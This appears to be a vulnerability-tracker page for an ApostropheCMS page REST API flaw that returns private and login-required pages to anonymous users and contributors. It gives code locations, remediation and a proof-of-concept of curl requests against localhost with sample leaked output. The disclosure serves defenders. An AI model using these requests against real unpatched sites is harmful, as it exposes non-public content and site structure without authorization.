Live › vulnerability › CVE-2026-113670
Go to dashboardApostropheCMS's core page REST API returns full page documents, including private and login-required pages, to anonymous users and low-privilege contributors because it skips the permission checks. An attacker can read non-public page content and the full site structure, and contributors can read admin-only page types and protected fields.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| apostrophe | npm | < 4.33.0 | 4.33.0 |
Check the installed version: npm ls apostrophe Anonymously request GET /api/v1/@apostrophecms/page?all=1 on your site and see whether private or login-required pages appear.
Upgrade the apostrophe npm package to 4.33.0 or later.
Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Summary
The core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by _id/slug.
Details
packages/apostrophe/modules/@apostrophecms/page/index.js:
getOne (L456–465): await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria) — no viewRole threshold, no visibility filtering.all handler (L318–395): getRestQuery(req).permission(false) (L384–385) walks every page type and returns the projection including visibility.publicApiCheckAsync (L3044) only checks that publicApiProjection exists — it performs no authorization.piece-type/index.js:getOne (L319–327) uses getRestQuery(req) without .permission(false) and enforces viewRole.PoC
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
# "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}
# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree
# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403
Impact
Unauthenticated disclosure of visibility: private and loginRequired pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because _ids are enumerable and leaked by all=1, this is systemic.
Remediation — Remove .permission(false) from getOne/all or re-apply the type's viewRole threshold plus the same visibility/login-required criteria the list and autocomplete paths use (mirror piece-type); make publicApiCheck config-presence-only and add an explicit authorization step per verb.
This page as .md · .json · in your agent: get_signal("CVE-2026-113670")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.